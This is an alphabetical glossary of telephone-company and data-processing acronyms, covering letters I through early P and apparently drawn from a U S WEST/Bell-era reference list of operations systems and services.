IFS (CAE) Interoffice Facility System
IIC Inventory Information Center
IJS Incorporated Journal System
ILEC Independent Local Exchange Carrier
IM (2) Interdepartmental Manual
Intermediary Marketing
IMA Ineffective Machine Attempts
IMAC Interdepartmental Mechanization Advisory Council
IMC Combined Loop Installation and Maintenance Center
IMF IMS Monitoring Facility
IMPAC (2) Intermediary Markets Pricing Analysis Center
Integrated Mechanization Planning And Coordination
IMS (2) Information Management System
IBM Data Base Management System
IMSA Inc-Cost, MTR, Soccer, Ad-hoc
IMTS Improved Mobile Telephone Service
IN INside Wire
INA Integrated Network Access
INACC Interexchange Network Access Capacity Coordinator
INE Intelligent Network Element or Equipment
INESS Integrated Network Engineering Support System
INETS Interim National Emergency Telecommunications System
INFO Information
INFORM Machine Installation and Report Dispatch
INOS Interactive Network Optimization System
INS Information Network System(Japanese Version of ISDN)
INT U S WEST International, Inc.
INTEC In-house Training and Education Courses
INTELSAT International Telecommunications Satellite Consortium
INTF INE Interface Requirements
INWATS Inward Wide Area Telephone Service
IOC (3) Interactive Operations Center
International Operating Center
Inter-Office Channel
IOS Inventory Order System
IOTC International Originating Toll Center
IP Information Provider
IPAC Interactive Planning and Control
IPASS IMS Performance And Software Support
IPC (2) Internal Profit Center
Integrated Planning Council
IPCP Installation Product Costing System (FA)
IPL Initial Program Load
IPOC (2) Individual Point of Contact
Interexchange Point of Contact
IPMU Information Provider Market Unit
IPRILOG Interim Primary Recovery Log Data Set Record
IPRIOLDS Interim Primary Online Log Data Set Record
IPRISLDS Interim Primary System Log Data Set Record
IPS (2) Integrated Provisioning System
Informaiton Provider Services
IPSC Information Provider Service Center
IR Incoming Register
IRA Individual Retirement Account
IRCC Inter Rate Center Channel
IRIS Integrated Revenue Information System
IRLM IMS/VS Resource Lock Manager
IRM Information Resource Management
IRR Internal Rate of Return
IRRS Interactive Request and Retrieval System
IS Interfering Station
ISAM Indexed Sequential Access Method
ISBS Information Systems Billing System
ISC Intercompany Service Coordination
ISCP Intercompany Services Coordination Plan
ISCS Information System Career Structure
ISD Information Systems Development/Designer
ISDN Integrated Services Digital Network
ISECLOG Interim Secondary Recovery Log Data Set Record
ISECOLDS Interim Secondary Online Log Data Set Record
ISECSLDS Interim Secondary System Log Data Set Record
ISI (2) U S WEST Information Systems, Inc.
Industry Standard Interface
ISMX Integrated Sub-Rate Data MultipleXer
ISO (4) Information Service Organization
Information Systems Operations
Information Systems Organization
International Standards Organization
ISP Information Service Providers
ISPF (2) Interactive System Productivity Facility
Interactive System Productivity Function
ISPS International Service Position System
ISRC Information Services Resource Center In Source
ISS Information Systems Support Issue Number
ISSC (2) Interfunctional Special Service Coordination
Interfunctional Special Services Coordinator
ISSD Information Systems Services Department
ISSI Inter-Switching System Interface
ISSN Integrated Special Services Network
ISUP Integrated Services (Digital Network) User Port
Integrated Services Digital User Port
ITC Independent Telephone Company
ITCAP Integrated Task Oriented Costing Based Analysis
Program
ITDPL International Telephone Directory Price List
ITORP Renamed ORP
IT-S Information Technology Services
ITS (4) Integrated Terminal Sharing
Integrated Terminal Strategy
Integrated Test System
Information Technologies Services
ITSO Incoming Trunk Service Observing
ITV Intermediary Transport Vendor
IUMC Investment Utilization Management Center
IW Inside Wire
IWC INWATS Coordinator
IX Interexchange
JAS Job Administration System
JCL Job Control Language
JCR Job Content Review
JCSAN Joint Chiefs of Staff Alerting Network
JEP Jeopardy Report
JES Job Entry Subsystem
JFC Job Function Code
JIC Journal Information Center
JMX Jumbo-Group Multiplex
JS Job Scheduler
JSAM JES Spool Access Method
JSC Job Status Code
JTC Job Title Code
K Computer Storage Unit, 1,024 bytes
kbps kilobits per second (1,000 bps)
KCJO Keep Cost Job Order
KCO Keep Cost Order
KCRO Keep Cost Routine Order
KD Keyboard Display
KDP Keyboard Display Printer
KEI U S WEST Knowledge Engineering, Inc.
KF Cancel First Choice
KILOBIT One Thousand Bits
Khz Kilohertz (1,000 Cycles Per Second)
KSDS Key Sequenced Data Set
KSR Keyboard Send-Receive set
KTS Key Telephone System
KTU Key Telephone Unit
L&B Land and Buildings
LAC (2) Loop Assignment Center
Location Access Code
LACC Live Accounts Collection Center
LACSS Loop Assignment Center-Special Services
LADS LATA Analysis Date System
LADT Local Area Data Transport
LAG Loop Assignment Guide
LAM Loop Assignment and Make-up Date
LAMA Local Automatic Message Accounting
LAMA-C Local Automatic Message Accounting-Computerized
LAMS Lease Administration Management System
LAN Local Area Network
LAP Link Access Procedure
LAPB Link Access Procedure Balanced
LAPD Link Access Procedure - D
LASER Light Amplifications by Stimulated Emission of
Radiation
LASS (2) Local Alarm Scanning System
Local Area Switching Service
LATA (2) Local Access Transport Area
Local Access and Transport Area
LATAWATS (2) Local Access and Transport Area Wats Provide
Input-Reprice WATS By LATA
LATIS Loop Activity Tracking Information System
LATS Line Access Test System
LB Use L&B
LBI Load Balance Index
LBL Local Business Line
LBO Line Build Out
LBRV Low Bill Rate Voice
LBS (2) Load Balance System
Large Business Services
LC Local Channel
LCA Local Calling Area
LCAMOS (PRED) Loop Cable Administration And Maintenance
Operations Systems/Predictor
LCAMOS (TRACKER) Loop Cable Administration & Maintenance
Operations System
LCAP Loop Carrier Analysis Program
LCAS Local Customer Administration System
LCCD Local Cross Connect Device
LCCS Least Cost Carrier Selection
LCD Liquid Crystal Display
LCIE Lightguide Cable Interconnect Equipment
LCRIS Loop Cable Record Inventory System
LDBM Listing Data Base Maintenance
LDBMC LMOS Data Base Maintenance Center
LDC Local Distribution Channel
LDI Laboratory Design Information
(A Release Letter)
LDSX Loop Digital System Cross Connect
LE Line Equipment
LEASE Lease Administration-Equipment
LEC Local Exchange Carrier
LED Light Emitting Diode
LEIM Loop Electronics Inventory Module
LEIP Loop Electronics Inventory Program
LEIS Loop Engineering Information System
LEN Line Equipment Number
LENS Line Equipment Numbers
LEPAC Lead Partical Entrapment Compound
LERG Local Exchange Routing Guide
LET Line Equipment Transfer
LEWIS Loop Electronics Warehouse & Installation Service
LF Load Factor
LFACS Loop Facilities Assignment and Control System
LFAS Loop Feeder Administration System
LFE Loop Facility Engineer
LHT Last Hunt Terminal
LIDB Line Information Data Base
LIFECOST Life-Cycle Cost Study System
LIFMOD-V3 Life-Cycle Model-Version 3
LIFO Last In First Out
LILA Left-In Loop Administration
LIMCO Traffic Service Position System (TSPS)
Limiting Component
LIPMOD Labor Input Productivity Model
LIRA Left-In Resource Administration
LL (3) Long Lines
Loaded Loop
Long-Lead Connect
LLF Line Link Frame
LMCC Local Maintenance Control Center
LMCS Land Mobile Communications Satellite
LMOS Loop Maintenance Operation System
LMOS/MLT Loop Maintenance Operations System/
Mechanized Loop Testing
LMS Local Measured Service
LNAWG Line And Number Administration Work Group
LNPC Lata Network Planning Center
LNSA Local Network Services Architecture
LOA Leave Of Absence
LOB Lines Of Business
LOBIS Line Of Business Information System
LOC (2) Local Order Circuit
Location
LOCW Locate, Order, Cable, Wire
LOF Lube, Oil, and Filter
LOGALL Log Allocation
LOIS Location Oriented Identification System
LOMS LAC Operations Management System
LONAL Local Off Network Access Line
LOOP LOcal OPtions
LOU Letter Of Understanding
LP Loop Plant
LPAL Local Public Access Line
LPC (2) Location Processing Code
Loop Provisioning Center (replaces LDMC)
LPIE Loop Plant Improvement Evaluator
LPIE2 Loop Plant Improvement Evaluator 2
LPS Loop Start
LR Labor Relations
LRAP Long Route Analysis Program
LRC Longitudinal Redundancy Check
LRM Line Response Monitor
LROPP Long Range Outside Plant Plan
LRS Lease Records System
LRSP Local Switching Planning System
LRSS Long Range Switching Studies
LRSS/ECON Long Range Switching Studies/Economics
LS (2) Loop Start
Local Switching
LS rate Local Switching rate (LS1, LS1)
LSC Local Service Curve
LSD&F Local Switching Demand & Forecast
LSDF Use LSD&F
LSI (2) Large Scale Integration
Loop Side Interface
LSN Lock Sequence Number
LSO Local Serving Office
LSRP Local Switching Replacement Planning System
LSS (2) Loop Switching System
Listing Services System - Replaced DIR/ECT
LST Line Station Transfer
LSU Local Storage Unit
LT (2) Local Transport
Location Translate Failed
LTACS Login Tracking And Control System
LTD (2) Long Term Disability Plan
Local Test Desk
LTERM Logical Terminal
LTF Local Transport Facility
LTNPS Lata Traffic Network Planning System
LTOOAG Large Team Operator Office Administrative Guide
LTROR Large Term Rate Of Return
LTS Lease Tracking System
LTT Local Transport Termination
LU (2) Large Undertaking
Living Unit
LUB LEC Usage Billing
LUBPI Living Unit Basic Address Parity Indicator
LUD Local Usage Detail
LUID Living Unit Identification
LUM Line Utilization Monitor
LV Low Volume
LWTR Load Work Time Record
M-NET U S WEST Message NETwork
M/WBE Minority/Women Business Enterprises
Ma Milliamperes (one thousandth of an ampere)
MA Monthly Analysis
MAC (2) Machine Administration Center
Major Account Center
MACS Major Apparatus and Cable System
MAD Market Analysis Document
MADCAP Mailing Address Computer System
MAFM Mechanized Assignment Force Management
MAGIC Market Analysis and Geographic Information Concept
MAIS Mechanized Assignment and Inventory System
MALT Monthly Accumulation Lata Toll
MAMA Mobile Automatic Message Accounting
MAMC Multistation Administrative Management Center
MAN Metropolitan Area Network
MAP Minimum Acceptable Performance
MAPPER Maintaining, Preparing and Producing Executive
Reports
MAPS Mechanized Accounts Payable System
MAPSS Maintenance and Analysis Plan for Special Services
MAPSS C Maintenance and Analysis Plan for Special
Services-Centralized
MAPSS D Maintenance and Analysis Plan for Special
Services-Decentralized
MAR Market Analysis Report
MARC (2) Market Analysis of Revenue and Customers
Material Accountability Requisition Control
MARC/CAP MARC/Customer Analytical Profile System
MARS (2) Mechanized Applicant Record Keeping System
Medical Activity Reporting System
MART Mechanized Accounts Reconcilable Team
MART-CHINA/
VOLESS Charging Instructions Analysis/
Verification Of Lines in ESS
MAS Management Accounting Services
MASCOT Monitoring And Appointment System By
Computer For OTC
MASER Mechanized Administration Switching
Equipment Reports
MASS Mechanized Allocation Study System
MASTER Market Analysis System and Tool Evaluation
of Revenues
MAT (2) Master Address File
Microcomputer Applications Team
MATFAP Metropolitan Area Transmission Facility
Analysis Program
MATS Mechanized Activity Tracking System
MAX Message Automated Exchange
MA APAC Mountain Bell Arizona Political Action
Committee
MBE Minority Business Enterprises
MBE/WBE Minority Business Enterprise/Women
Business Enterprise
MBL Mini-Bridge Lifter
MBTEC Mountain Bell Training and Education Center
MC Maintenance Center
MC/I&M Maintenance Center/Installation & Maintenance
MCAS Mechanized Administration System
MCC (2) Maintenance Control Center
Microelectronics And Computer Technology Corp.
(BCR Related)
MCCS (2) Mechanized Calling Card Service
Marketing Compensation Credit System
MCCS/CCIS Mechanized Calling Card Service/
Common Channel Introfc Signaling
MCEC Mini Computer Engineering Center(Corp Level)
MCI Microwave Communications Inc.
MCN (2) Master/Major Customer Name
Master/Major Customer Number
MCO Maintenance Control Office
MCP (TIRKS) Mechanized Circuit Provisioning
MCR Mechanized Change Report
MCRFMP Mechanized Cable Repair Force Management Plan
MCS (2) Mechanized Conversion System
Mutiple Console Support
MCTAP Mechanized Cable Trouble Analysis Plan
MCTRAP Mechanized Customer Trouble Report
Analysis Plan
MD Manufacture Discontinued
MDC (2) Mass Data Changes (PICS/DCPR)
Materials Distribution Center
MDF Main Distributing Frame
MDS (3) Mechanized Dispatch System
Message Design System
Micrographics Documentation and Statistics
MDT Maintenance Data Transmitter
MEBS Marketing, Engineering and Business Services
MEBS-TEARS Mktg, Engrg and Bus Svcs-Tfc Engrg for Auto
Rt Select
MEC Maintenance Engineering Center
MECCA Mechanized Evaluation of Call Completion
Anomalies
MECS Mechanized Error Correction System
MEDA Mechanized Equipment Assignment
MEDACS Mechanized Data Acquisiton Service
MEDCAP Medical Costing of Activities and Procedures
MEF Miscellaneous Equipment Frame
MEFR Mechanized ESS Feature Recovery
MEGABIT One Million Bits
MEMS (CAE) Mechanized Engineering Management System
MEP Medical Expense Plan
MESR Mechanized Employee Service Record
MET Master Edit Table
MEWS Mechanized Worksheets
MF (2) Master File (Toll)
Multifrequency Signaling
MFA MultiFunctional Access
MFD Message Format Descriptor
MFJ Modified Final Judgement
MFS Metropolitan Fiber Systems, Inc.
MFT (2) Metallic Facility Terminal
Multiprogramming with a Fixed number of Tasks
MG Marker Group
MGT Mastergroup Translator
MI Minimal Input
MIC (3) Machine Interface Code
Material Item Code
Message Investigation Center
MICA Mechanized Intercompany Contract Administration
MICD Marketing Intercompany Communications Directory
MICRO-VAX DEC Micro Computer Operating System
MICRON One Millionth of a Meter
MICS (2) MVS Integrated Control System
Merino Integrated Control System
MICUP Mechanized Interim CAROT Update Process
MIG Mechanized Interval Guide
MIGS Mechanized Index Generation System
MIHR Mechanized Installation History Reporting system
MIMC Multistate Industry Management Center
MIMIC MTS/WATS Intrastate Model for Incremental Costs
MIN Marine Indentification Number
MIPAT Mechanized Invoice Processing and Asset Tracking
MIPS (2) Millions of Instructions Per Second
Mechanized Information Provider Screen
MIRS Mechanized Information Retrieval System
MIS (5) Marketing Information System
Management Information Systems Division
Management Information System
(Enhanced Building System)
Message Investigation System
Mechanized Information Systems
MISC MISC System Interfaces
MITS (2) Mechanized Income Tax System
Mechanized Inventory Tracking System
MIU Message Investigation Unit
MIZAR A Computer System
MJC Modular Jack Converter
MJE Management Job Evaluation
MLAC Mechanized Loop Assignment Center
MLGR Multiline Non-Hunt Group Assignment Request
MLH Multiline Hunt
MLHG Multiline Hunt Group
MLSS Machine Load and Service Summary
MLT Mechanized Loop Testing
MLT II Mechanized Loop Testing II
MLTSA Mechanized Loop Testing/System Administration
MMA Mechanized Loop Testing
MMAR Monthly Machine Administrative Report
MMAS (2) Mechanized Marketing Assignment System
Mini-Computer Maintenance Analysis System
MMC Maintenance Management Center
MMCC Multistate Maintenance Control Center
MMCS Miscellaneous Mechanized Cost Studies
MMG Minicomputer Maintenance Group
MMGT MultiMasterGroup Translator
MMGT-C MultiMasterGroup Translator for Cable
MMGT-R MultiMasterGroup Translator for Radio
MMIS Marketing Management Information System
MML Man-Machine Language
MMM Message Minute Mile Study
MMOC Minicomputer Maintenance and Operations Center
MMOCS Minicomputer Maintenance and Operations Center
System
MMPM Marketing Methods and Procedures Mechanization
MMR Maintenance Modification Request
MMS (2) Marketing Measurement System
Memory Management System
MMUC Minimum Monthly Usage Charge
MOBLSTAT Mobile Statistics
MOC (2) Minicomputer Operations Center
Maintenance Operations Center
MOCC Maintenance Operations Control Center
MOCS Mechanized Official Communications System
MODEM MOdulator/DEModulator
MOG Minicomputer Operations Group
MOOS Mechanized Online Ordering System
MOOSA Mechanized Out-Of-Service Adjustments
MOPS Mechanized Outside Plant Scheduling System
MOR Mini Output Reports
MORE Marketing Operational Resource Environment
MOS Job Management Operations System
MOSS/BAC Marketing Operations and Support System/
Billing And Collection
MOST Mobile Statistics
MOU Minutes of Use
MOUAS Minutes Of Use Annual Study
MOUDA Minutes Of Use Data Acquisition
MOVIMS Motor Vehicle Information Management System
MOVIN/STEMS Motor Vehicles
MP Multi-Processing
MPAC Mechanized Provisioning Administration Center
MPAS Motor Poll Administrative System
MPB Meet Point Billed
MPCB Micro Programmable Control Board
MPCC Multistate Provisioning Control Center
MPGP Mechanized Pair Gain Planning
MPOP (2) Minimum Point Of Presence
Main Point Of Presence
MPS (3) Marketing Perception Survey
Measurement Plans System
Message Processing Services
MQCP Management Quality Data Base
MQDB Message Queue Data Base
MR (2) Message Register
Modification Request
MRA Mechanized Remittance Advice
MRC (3) Minicomputer Resource Center
Material Reclamation Center
Monthly Recurring Charge
MRF Message Retention File
MRFA Mechanized Repair Force Administration
MRR (2) Material Return Request
Modification Request Resolution
MRS Management Reporting System
MRS-TK Message Reporting System-Trunking
MRS/MARKIV Management Reporting System/Mark IV
MRSELS Microwave Radio & Satellite Engineering License
MRSS Mini-Computer Reliability Studies System
MRTS Message Record Teleprocessing System
MRTTA Message Recording Trunk Trouble Analysis
MS (2) Main Station
Mechanized Scheduling
MSA (2) Medical Services Advisor
Metropolitan Service Area
MSAC Multistate Service Assurance Center
MSAG Master Street Address Guide
MSAS Multistate Service Administration System
MSC (2) Maintenance of Service Charges
Multiple System Coupling
MSCC Multistate Service Control Center
MSDOS Disk Operating System
MSEC Multistate Services Engineering Center
MSG (2) Media Service Group
Message Trunk
MSI Management Service Inc.
MSL/DBP Mechanized Subscriber Line/Data Base
Preparation Service
MSMC Multistate Systems Management Center
MSR Mechanized Sales Report
MSS MAS Support System
MST (2) Measured Service Tracking
Manual Scheduled Testing
MSTIC Mechanized Standard Time Increment Calculation
MT MeTallic
MTA Mechanized Technical Analysis
MTARS Mechanized Trunk Assignment Record System
MTAS Mechanized Trouble Analysis System
MTBO Mean Time Between Outages
MTC Maintenance
MTCS Modular Terminal Communications System
MTF (2) Metallic Terminal Frame
Multi-Tasking Facility
MTL Maximum Termination Liability
MTO Message Trunk Orders
MTP Message Transfer Part (SS7 Protocol)
MTPG Mechanized Technical Planning Group
MTPS Message Trunk Planning System
MTR Mechanized Time Reporting
MTS (3) Message Telecommunications Service
Mechanized Telephone Service
Message Toll Service
MTS/LATA Message Toll Service Interlata
MTSI (2) Message Telecommunication Service Interactive
Message Toll Services Index
MTSO Mobile Telephone Switching Office
MTU Maintenance Terminating Unit
MU Marketing Unit
MUC Message Unit Credit
MUSIC Model for Usage Sensitive Incremental Costs
MUTS Message Unit Tracking System
MUX Multiplexer
MVAS Motor Vehicle Accident Summary Report
MVMCC Motor Vehicle Maintenance Control Center
MVNF Multi Vendor Network Facility
MVS (2) Multiple Virtual Storage
Multiple Virtual System
MVS/XA Multiple Virtual Storage/Extended Architecture
MVT Multiprogramming with a Varied number of Tasks
MWC Maintenance Work Center
MWC/CS Mechanized Wire Centering/Cross Section
MWG Maintenance Work Group
MYPS Mechanized Yellow Pages System
McAUTO McDonald Douglas Automation Company
NAC (2) Network Administration Center
Network Access Corporation
NAC SS Network Administration Center Support System
NADP North American Dial Plan
NAFMAP Network Administration Force Management
And Productivity
NAL Network Access Line
NANOMETER One Billionth of a Meter
NANP North American Numbering Plan
NARADS National Reuse Administration System
NARUC National Association of Regulatory and
Utility Commissioners
NAS Network Access Support
NAS/DCC Network Administration System/Data
Collection Computer
NASC Number Administration Service Center (Bellcore)
NASS Network Administration Support System
NAWAS National Warning System
NAWS NORAD Attack Warning System
NB Narrowband
NBEC Non-Bell Exchange Carrier
NBS New Billing System
NBT Northwestern Bell Technologies
NC (3) Network Channel
Network Control
Network Controller
NCAS Network Control
NCC (2) Network Control Center
Network Channel Code
NCCF Network Communication Control Facility
NCEO Non-Conforming End Office
NCI Network Channel Interface
NCIS Nonrecurring Charge Interface System
NCO Network Control Office
NCOSS Network Control Operations Support System
NCP (3) Network Control Point
National Control Point
Network Control Program
NCR STUDY National Credit Study
NCRP Network Cost Results Plan
NCS Network Completion System
NCSEC Network Common Systems Engineering Center
NCSL New or Change Source Line
NCSR Network Completion Study Rates
NCTA Non-Conversion Time Additive
NCTE Network Channel Terminating Equipment
NDBS Network Data Base System
NDCC Network Data Collection Center
NDO Network Design Orders
NDS (2) Network Data System
Network Distribution Services
NDT No Dial Tone
NE/FMS Network Engineering/Force Management System
NEBS New Equipment Building System
NECA National Exchange Carrier Association
NEFMS Use NE/FMS
NEIC Network Engineering Information Center
NEIS Network Element Interface System
NERCE Network Response Time and Configuration
Evaluation
NET Use TIRKS-NET
NETCOMP Network Completion System
NETS National Emergency Telecommunications System
NFCC Network Forecast Coordination Center
NHN Non-Hunting Number
NI Network Interface
NIAC-EBS National Indust Adv Commitee-Emergency
Broadcast System
NIMS Network Information Management System
NIS Network Interface System
NISM Not In Service Module
NJE Network Job Entry
NLTMOP Network Loop Transmission Measurement and
Operations Plan
NM (2) Network Management
New Mexico
NMA Network Monitoring and Analysis
NMAC Network Monitorin & Analysis Center
NMC Network Management Center
NMCMC Network Management Center
NMMP Network Maintenance Management Plan
NMSS Non-Management Staffing System
NNX Exchange Number (Central Office Code)
NOAP Network Operations Advisory Panel
NOC Network Operations Center
NOCS Network Operations Center System
NON-UG Non-Underground
NOPC Network Operations Planning Center
NORGEN Network Operations Report GENeration System
NOTIS Network Operations Trouble Information System
NPA (3) Numerical Plan Area (Area Codes)
Numbering Plan Area
North American Numbering Plan 3 digit area code
NPC Network Procurement Centers
NPDA Network Problem Determination and Analysis
NPIAC Network Plug-In Administration Center
NPIS Network Planning Information System
NPMP Network Performing Measurement Plan
NPMS Network Performance Management System
NPRM Notice of Proposed Rule Making
NPS Network Planning System
NPSC Fundamental Network Planning Support Center
NPV Net Present Value
NR (2) Network Reconfiguration
Non-Requested Output
NRC NonRecurring Charge
NRCC Network Record Coordination Center
NS-LA NonStandard-Limited Availability
NS/EP National Security/Emergency Preparedness
NSC Network Service Center
NSCS Network Service Center System
NSEC Network Switching Engineering Center
NSEP National Security Emergency Preparedness
NSIMC Network Services Investment Management Center
NSLA Use NS-LA
NSMRS National Self Monitoring Report System
NSO Network Service Organization
NSOT Network & Service Operations Training
NSPC New Services Planning Center
NSS (2) Network Support System
Network Switched Services
NSS/USS Network Support System/User Support System
NST NonScheduled Testing
NSTAC National Security and Telecommunications
Advisory Committee
NTEC (2) Network Terminal Equipment Center
New Technology
NTEL (2) Network Terminal Equipment Center
Network Terminal Equipment Location
NTIA National Telecommunications and Information Admin.
NTIB Network Technology Integration Board
NTI Northern Telecom Inc.
NTS (2) Non-Traffic Sensitive
Network Technical Support
NXX Central Office
NUA Network Utilization Analysis
NVG U S WEST New Vector Group, Inc.
NVP U S WEST Paging
NVTS National Vendor Tracking System
NYPS National Yellow Pages Sales
NYPS/E National Yellow Pages/Enhancements
OA Office Automation
OAAC Office Administration Analysis Report
OACD Office Automation Council of Denver
OAG (2) Operations Analysis Group
Official Airlines Guide
OAR Operator Access Reports
OAS (2) Office Automation Services
Operator Administration System
OASIS Order And Status Information System
OBJ Objective Function
OBS Outside Billing System
OC&C Other Charges & Credits
OCAP Operating Company Assignment Program
OCC Other Common Carrier
OCCAM A New Computer Language Suited to Parallel
Processing
OCCS Order Control and Coordination System
OCDD Operations Center Deliverable Documentation
OCI Office Circuit Inventory
OCO Overall Control Office
OCP Optional Calling Plan
OCR (4) Optical Card Reader
Optical Character Reader
Optical Character Recognition
Order Control Requirements
OCS (2) Official Communication Service
Official Company Services
OCU Office Channel Unit
ODA Office Data Administration (#5ESS)
ODD Optical Digital Disk
ODP Organizational Design Program
ODS Online Documentation System
ODSG Office Drawing Services Group
OE (2) Organizational Effectiveness
Originating (Line) Equipment
OECA Oregon Exchange Carrier Association
OEM Original Equipment Manufacturer
OFL Overflow
OFNPS Outside Facility Network Planning System
OIC Online Image Copy
OIDCARD Operator Idenfification Card
OIM Office Information Management
OISC Operations Implementation and Support Center
OIY Orders Issued Yesterday
OJE Occupational Job Evaluation
OL On Line
OLDS On-Line Log Data Set
OLPR TIRKS/Online Performance Reports (Renamed ORA)
OLTE Optical Light Terminating Equipment
OLTEP On Line Test Executive Program
OLTM Optical Light Terminating Multiplexor
OLTS Optical Loss Test Set
OMS Operator Mark Sense
ONA Open Network Architecture
ONAC (2) Operations Network Administration Center
Off Network Access LIne
ONAL Off Network Access Line
ONALS Off Network Access Line Service
ONI Operator Number Identification
OOCAT Optical Order Channel and Alarm Telementry System
OP Operational Schedules
OPC Out Pair Color
OPIA Outside Plant Inventory Administrator
OPM Originating Point Master
OPPEC OSP Product Evaluation Committee
OPR SVCS Operator Services
OPRNS Operations
OPS (2) Operations Systems
Order Processing System
OPS/INE OPerations Support/Intelligent Network Element
OPS-M Order Process System-Multistate
OPT Operations Planning Team
OR Originating Register
ORA TIRKS/Online Reports Access
ORBIT Ordering, Receipting,Billing,Inventory Tracking System
ORDB Operator Reference Data Base
ORI Office Record Index
ORP Originating Responsibility Plan
ORRS On-Line Records and Reporting System
ORTT Order of Repeatermen and Toll Testboardmen
OS (3) Operating System
Operations System
Outgoing Sender
OS/VS Operating System/Virtual Storage
OSAC Operator Speed of Answer Consistency
OSAM Overflow Sequential Access Method
OSAP Operations System Architectural Plan
OSC (2) Operating Service Center
Operator Service Center
OSCAP (2) Operator Service Cost Analysis Program
OSCAPS Operator Services Costs and Analysis Programs
OSD Office Systems Development
OSFABS Operator Services Functional Accounting Budget System
OSFAC Operator Services Facilities Adminstration Center
OSFMC Operator Services Force Management Center
OSHA Occupational Safety and Health Administration
OSI International Standards
OSIP Open Switch Interval Protection
OSN Operations Systems Network
OSOS Online Service Order System
OSP (2) Outside Plant
Operator Service Provider
OSP/CPR Outside Plant/Continuing Property Record
OSPDBS Outside Plant Demand and Facility Data Base System
OSPEC Operator Services Planning and Engineering Center
OSPGRS Outside Plant Graphics Record System
OSPI Operator Services Planning Information System
OSPS Operator Services Position System
OSS (2) Operations Support System
Off The Shelf System (Or OTSS)
OSSP Operations Systems Strategic Plan
OSTNP-1 Operator Services Traffic Network Plan Phase 1
OSTNPS Operator Services Traffic Network Planning System
OSTP Operations Systems Transition Plan
OSTR Operational System Trouble Reporting
OSV Outside Vendor
OSVS Use OS/VS
OSZ Outdial List Size
OTC (2) Operating Telephone Company
Other Telephone Company
OTCCRS Operating Telephone Company Centralized
Results System
OTDR Optical Time Domain Reflectometer
0TPL Zero Transmission Level Point
OTSS Off The Shelf System (Or OSS)
OTTS Outgoing Trunk Testing System
OVP Overall Provisioning
P&E Planning & Engineering
P/DS Programming/Design Services
P/P Point Of Presence (Or POP)
PA Payment Agency
PAC Political Action Committee
PACE/MELD Program for Arrgmt of Cables and Eqpmt/Mech
Engrg and Layout
PACO Pole Attachment Conduit Occupancy
PACT Product Availability Coordination Team
PADS Planner's Analysis and Decision Support
PADS-MKTG Personnel Administration Database-Marketing
PAEM Payroll Allotments and Employee Master File
PAG Planning Advisory Group
PAIR Pair Available Increase Requirements
PAL (3) Pricing And Loading
Productive Assignment of Labor
Public Access Line
PAM Pulse Amplitude Modulation
PAR (2) Payroll and Reports System
Personnel Action Request (form)
PARIS Product And Revenue Information System
PARS Payment Agency Reporting System
PART Project And Resource Tracking
PASCAL Programming Language for Minicomputers
PASS Planning And Scheduling System
PATROL Program for the Administration of Traffic
Reports On Line
PAYROLL (2) Payroll Processing System (General System)
Payroll, Personnel System
PAYSOP Payroll Based Employee Stock Ownership Plan
PBC Peripheral Bus Computer
PBC4CB Peripheral Bus Computer for No 4 Crossbar
Switching System
PBCSTP Peripheral Bus Computer for CCIS Signal
Transfer Points
PBD Place Buried Drop
PBLD Passed Build
PBX Private Branch Exchange
PBXPGMS Dimension PBX Cost Analysis
PC (6) Pricing Comparison
Peg Count
Personal Computer
Processor Controller
Public Communications
Provision Center
PCD Programmable Communications Device
PCDB Product Customer Data Base
PCDP Product Classification Decision Package
PCF Process Control Feature
PCID Primary Circuit Identification
PCIPP Public Communication Installation Performance Plan
PCIS Plant Construction Information System
PCL Product Classification Listing
PCM Pulse Code Modulation
PCN Personal Communications Network
PCNE Processor Controller Network Element
PCO (2) Plant Central Office
Plant Control Office
PCR Payroll Change Request
PCS Price Comparison Studies
PCSC Public Consumer Services Dispatch
PCU Public Communication Unit
PD Power Data Sheets
PDA (2) Principal Divestiture Agreements
Problem Determination Aid
PDAC Planning Design Access Code
PDB Permanent Data Base
PDD (2) Car Pool Administration
Post Dial Delay
PDF Program Development Facility
PDIS Procurement Decision Information System
PDN Public Data Network
PDPR Minicomputer, Manufactured By Digital
Equip Corp (DEC)
PDS (2) Partioned Data Set
Product Data System
PDT Pollable Data Terminal
PE Use P&E
PEC (2) Process Entity Codes
Product Evaluation Center
PEDITE Use TIRKS-PEDITE
PEERS Power Engineering Equipment Records System
(No Longer Avail-WE System)
PEND Procedure END
PENSFUND Pension Fund Record Keeping and Reporting System
PENSIONS Pension System
PERFORM Personnel Force Management
PERT Project Evaluation and Review Technique
PETE Profile of Embedded Transmission Equipment
PF Program Function Key (CRT Keyboard Key)
PFM Protector Frame
PFO Planned Facility Order
PFS Pension Field System
PGF Product Group Folder
PGP Pair Gain Planning
PGS Pair Gain Systems
PHIN Phoenix Interzone
PI (2) Plug-In
Prototype Indicator
PI/INV Plug-In Inventory Code
PIA (2) Plug-In Administration
Project Impact Analysis
PIAC Plug-In Administration Center
PIAT Plug-In Availability Table
PIB Programmer Information Bulletin
PIC (5) Public Interest Committee
Predesignated Interexchange Carrier
Primary Interexchange Carrier
Pension Information Center
Presubscribed Interexchange Carrier
PICC Plug-In Configuration Code
PICEE Purification In Computer Engineering Environment
PICO (Picosecond) A Millionth of a Millionth of a Second
PICS Plug-In Inventory Control System
PICS/BARS Plug-In Inventory Control Sys/Business Admin and Rcds
PICS/DCPR Plug-In Inventory Control Sys/Detailed Continuing
Property Record
PICS/DRMA PICS/DRMA Interface
PICS/REF PICS Reference Files Maintenance System
PICSREF Use PICS/REF
PID Product IDentification (number)
PIE Procurement Item Entry System
PIF Page Insert Files
PIFC Plug-In Function Code
PIINV Use PI/INV
PIN Personal Identification Number
PIPES Program for Inventory Pipeline Estimation System
PIR Perpetual Inventory Record
PISAM Plug-In System Analysis Method
PIU Percent Interstate Usage
PIX Place It Cross-Connect
PJU Pole Joint Usage
PL Private Line
PLAC Planned Assignment Counter
PLANT Plant Performance Data Gathering
PLDS Private Line Digital Services
PLIAC Private Line Investment and Annual Costs
PLID Private Line Identification
PLIF Partial Left-In Facility
PLL Private Line Loops
PLOTCO Private Line Other Common Carriers
PLPA Pageable Link Pack Area
PLR (4) Plant Location Record
Pole Location Records System
Pole Line Report
Private Line Ringdown
PLRMS Plant Location Records Management System
PLS (2) Premium List(TradeMark) Service
Private Line Service
PLSRP Private Line Restoration Priority
PLTS Private Line Transport Services
PLUM Plant Utilization Management/Pair Available
Increase Req
PM Phase Modulation
PMO Present Method of Operation
PMOC Project Management Operations Center
PMP Project Management Planning
PMS Product Maintenance/Management System
PMSCC Picturephone Meeting Service Control Center
PMSSS Picturephone Meeting Service Support System
PMX Projected Message Exchange
